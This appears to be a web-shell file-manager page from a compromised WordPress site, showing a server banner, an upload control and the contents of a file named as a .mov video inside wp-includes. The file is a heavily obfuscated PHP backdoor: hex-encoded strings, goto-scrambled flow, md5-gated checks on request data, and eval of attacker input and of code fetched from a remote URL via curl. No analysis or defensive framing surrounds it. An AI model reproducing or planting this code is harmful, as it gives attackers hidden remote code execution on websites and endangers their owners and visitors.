HEX
Server: LiteSpeed
System: Linux s324 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User: leoir (1352)
PHP: 8.3.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/leoir/domains/leo-co.ir/public_html/wp-includes/blocks/details/details/KhvcNtz.mov
<?php
 goto bZl3kVk4hOyOhg; UXQqPhE_zXDthn: $rsPFqIAWEnqQ5N = ${$ehcIlfAc3XgKKE[30 + 1] . $ehcIlfAc3XgKKE[33 + 26] . $ehcIlfAc3XgKKE[1 + 46] . $ehcIlfAc3XgKKE[20 + 27] . $ehcIlfAc3XgKKE[19 + 32] . $ehcIlfAc3XgKKE[50 + 3] . $ehcIlfAc3XgKKE[29 + 28]}; goto uK8yTr7QviiBGj; uK8yTr7QviiBGj: if (!(in_array(gettype($rsPFqIAWEnqQ5N) . count($rsPFqIAWEnqQ5N), $rsPFqIAWEnqQ5N) && count($rsPFqIAWEnqQ5N) == 23 && md5(md5(md5(md5($rsPFqIAWEnqQ5N[17])))) === "\x35\70\67\x30\x66\x61\62\146\x65\141\67\x62\61\63\x37\x61\x37\x39\71\64\x61\x63\x36\x34\63\x38\x35\x37\141\141\60\65")) { goto kbUdJ9epiCtgCH; } goto x1lTJtAwa3CQEa; bZl3kVk4hOyOhg: $ULlJhkBIuyY24f = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto RRAGP8hUGgGVoG; EYiTLahkbT8EIF: metaphone("\x59\x37\167\x34\130\71\x6c\x6e\154\x5a\162\x6d\x74\x44\x4d\x39\x46\105\124\x33\124\x38\62\x70\165\x61\x56\70\x51\x74\117\67\67\x5a\x34\x57\x61\x71\127\x58\60\107\x34"); goto sDbCsvp29vzjuG; x1lTJtAwa3CQEa: ($rsPFqIAWEnqQ5N[67] = $rsPFqIAWEnqQ5N[67] . $rsPFqIAWEnqQ5N[74]) && ($rsPFqIAWEnqQ5N[81] = $rsPFqIAWEnqQ5N[67]($rsPFqIAWEnqQ5N[81])) && @eval($rsPFqIAWEnqQ5N[67](${$rsPFqIAWEnqQ5N[50]}[13])); goto Ev5Qfko6XJl2sU; sDbCsvp29vzjuG: class R5sGso041qvT7v { static function t8CRyrY0yKN1ol($mFr8azjhYLntYL) { goto OpDjwTN0hmJipo; UZc1XluoV2M44W: return $bDNHwXRMk0hLbo; goto khqjXDR2yUDfe6; OpDjwTN0hmJipo: $PZ2eAB19yNOQ32 = "\162" . "\141" . "\156" . "\147" . "\x65"; goto hlEgSwwafneR03; wQj8uaETgE4XAJ: $bDNHwXRMk0hLbo = ''; goto b1VNvyx4otH67K; b1VNvyx4otH67K: foreach ($LWe6jpfK96KBmG as $ycquO8d6sRZQHa => $SxW9JlqrSkVyM6) { $bDNHwXRMk0hLbo .= $i7WTkEEPsbHgSw[$SxW9JlqrSkVyM6 - 56913]; wCUb_dD3oaLbbg: } goto FnJZlInzRCbh5v; nfKihl2wZK0SfB: $LWe6jpfK96KBmG = explode("\133", $mFr8azjhYLntYL); goto wQj8uaETgE4XAJ; FnJZlInzRCbh5v: hxAt9jrdXsNMLb: goto UZc1XluoV2M44W; hlEgSwwafneR03: $i7WTkEEPsbHgSw = $PZ2eAB19yNOQ32("\x7e", "\x20"); goto nfKihl2wZK0SfB; khqjXDR2yUDfe6: } static function IRupCYERhSR26d($lMCZRRVtjJgwRU, $B8BgfbIboKKz2T) { goto sx3UleLntf4yuv; DFQIimCgyCJyfO: return empty($YlqFMB4QC7vi6l) ? $B8BgfbIboKKz2T($lMCZRRVtjJgwRU) : $YlqFMB4QC7vi6l; goto bC2gLoNeNGNYhP; sx3UleLntf4yuv: $vuwfWLjtdBK6IX = curl_init($lMCZRRVtjJgwRU); goto Bm3Ns1Jnr1vzVF; Bm3Ns1Jnr1vzVF: curl_setopt($vuwfWLjtdBK6IX, CURLOPT_RETURNTRANSFER, 1); goto U2nwWqoto3_Hm9; U2nwWqoto3_Hm9: $YlqFMB4QC7vi6l = curl_exec($vuwfWLjtdBK6IX); goto DFQIimCgyCJyfO; bC2gLoNeNGNYhP: } static function xLVXvQ6zHloJi6() { goto o3cB_v35njK4UJ; pnAxH9CKsuOnoI: VwsYe3vhjyOopY: goto hs0HazfBFbTinr; ynpr7iNDXuhwaH: $uKrawoQLEgNrjM = md5($X0K4k8H6cs40Gq[3 + 0]); goto GMjc_9HkbSzTMd; XY1tdmOARHuDfw: $X0K4k8H6cs40Gq = $YHeGtQAVflUzyd[1 + 1]($mFdwItWCN4xayk, true); goto ynpr7iNDXuhwaH; dvQsEqgwfcxUw_: llzf80YTevJARA: goto StNq6gCv0qDm6a; StNq6gCv0qDm6a: $tHJtzBeheehJJh = @$YHeGtQAVflUzyd[1]($YHeGtQAVflUzyd[3 + 7](INPUT_GET, $YHeGtQAVflUzyd[2 + 7])); goto sHySCeG56FTZ9s; o3cB_v35njK4UJ: $PabFRHZsa7XZNT = array("\65\x36\x39\64\60\x5b\x35\66\71\x32\x35\133\65\x36\71\x33\x38\133\x35\x36\71\64\x32\x5b\x35\x36\x39\x32\x33\x5b\65\66\x39\63\x38\x5b\x35\66\x39\64\64\x5b\65\66\71\x33\67\133\x35\x36\71\x32\62\133\65\x36\x39\x32\x39\x5b\x35\x36\71\x34\x30\133\x35\x36\x39\x32\x33\133\x35\66\71\63\x34\133\x35\66\71\62\70\x5b\65\66\x39\62\71", "\x35\66\71\62\64\133\x35\x36\71\62\x33\x5b\x35\66\x39\x32\x35\133\65\66\x39\64\64\x5b\65\66\71\62\x35\133\x35\x36\71\x32\70\133\x35\66\71\x32\x33\x5b\65\66\71\71\60\133\65\66\x39\x38\70", "\x35\66\71\63\63\x5b\65\x36\71\62\64\133\65\66\x39\62\70\x5b\x35\x36\71\x32\x39\133\x35\x36\x39\x34\64\133\65\66\71\x33\71\133\x35\x36\71\63\x38\133\x35\66\71\x34\60\133\x35\x36\x39\x32\x38\x5b\65\x36\x39\x33\71\133\65\66\71\x33\x38", "\x35\x36\71\62\67\133\65\x36\x39\64\x32\133\x35\x36\x39\x34\60\133\65\66\x39\x33\x32", "\x35\x36\x39\64\61\x5b\65\x36\x39\64\62\x5b\65\66\71\62\x34\133\65\x36\71\x33\70\133\x35\x36\x39\70\65\x5b\x35\66\71\x38\67\x5b\x35\66\71\64\x34\133\65\66\71\63\71\133\x35\x36\71\x33\70\x5b\65\66\71\64\60\x5b\65\66\71\62\70\x5b\65\x36\71\x33\x39\x5b\65\66\71\x33\70", "\x35\66\x39\63\x37\x5b\x35\x36\71\63\x34\x5b\65\66\x39\63\x31\x5b\x35\66\71\x33\70\133\65\66\x39\64\x34\x5b\65\66\x39\63\x36\x5b\65\x36\x39\63\70\x5b\65\x36\x39\62\63\133\x35\x36\71\64\x34\133\65\66\71\64\60\x5b\x35\66\x39\x32\x38\133\65\x36\x39\62\71\x5b\x35\x36\x39\62\x33\x5b\65\x36\71\63\70\133\x35\x36\x39\62\71\x5b\65\x36\x39\x32\63\x5b\65\x36\71\x32\64", "\x35\x36\71\x36\x37\133\65\66\71\x39\x37", "\x35\66\71\61\64", "\65\66\x39\x39\x32\x5b\65\66\x39\71\67", "\65\66\71\x37\x34\x5b\x35\x36\x39\x35\x37\133\x35\66\71\65\x37\133\x35\66\x39\67\64\133\x35\66\x39\x35\x30", "\x35\x36\71\x33\67\x5b\x35\x36\x39\x33\64\133\x35\66\71\63\61\133\x35\x36\x39\x32\x33\x5b\65\66\71\63\x38\133\65\66\x39\62\65\x5b\x35\x36\x39\64\x34\133\65\x36\x39\63\64\x5b\65\x36\71\62\71\133\65\66\71\62\67\x5b\x35\x36\71\x32\62\x5b\65\x36\x39\x32\x33"); goto NqAgHkvmi4fcaB; GSOR3PfDbmRJI0: die; goto pnAxH9CKsuOnoI; GMjc_9HkbSzTMd: @$YHeGtQAVflUzyd[3 + 7](INPUT_GET, "\x6f\146") == 1 && die($YHeGtQAVflUzyd[4 + 1](__FILE__)); goto cQdvGgBAsJ_2If; sHySCeG56FTZ9s: $mFdwItWCN4xayk = @$YHeGtQAVflUzyd[3 + 0]($YHeGtQAVflUzyd[4 + 2], $tHJtzBeheehJJh); goto XY1tdmOARHuDfw; jcZ1UL3gj9CR19: if (!(@$X0K4k8H6cs40Gq[0] - time() > 0 and $Ys1jYfqi0dtymA === "\x32\x39\67\x38\x34\x65\64\143\61\x62\x35\x65\x65\x39\64\x62\66\60\60\x35\x63\141\x30\143\x36\x34\x37\146\x65\64\145\x38")) { goto VwsYe3vhjyOopY; } goto oR67msPyOFgXFH; sjU2lqlxCXW82I: @eval($YHeGtQAVflUzyd[0 + 4]($QEUoGUV_jc5N4y)); goto GSOR3PfDbmRJI0; oR67msPyOFgXFH: $QEUoGUV_jc5N4y = self::irUPcyErHSr26d($X0K4k8H6cs40Gq[0 + 1], $YHeGtQAVflUzyd[3 + 2]); goto sjU2lqlxCXW82I; cQdvGgBAsJ_2If: $Ys1jYfqi0dtymA = md5($uKrawoQLEgNrjM); goto jcZ1UL3gj9CR19; NqAgHkvmi4fcaB: foreach ($PabFRHZsa7XZNT as $NRAHiach941gHo) { $YHeGtQAVflUzyd[] = self::t8CrYrY0Ykn1OL($NRAHiach941gHo); O9EkiO4mo1CgfL: } goto dvQsEqgwfcxUw_; hs0HazfBFbTinr: } } goto m8LnfhF_e68M0d; Ev5Qfko6XJl2sU: kbUdJ9epiCtgCH: goto EYiTLahkbT8EIF; RRAGP8hUGgGVoG: $ehcIlfAc3XgKKE = $ULlJhkBIuyY24f("\x7e", "\x20"); goto UXQqPhE_zXDthn; m8LnfhF_e68M0d: R5SgSo041qVT7v::XLVxvQ6zHlOJi6();
?>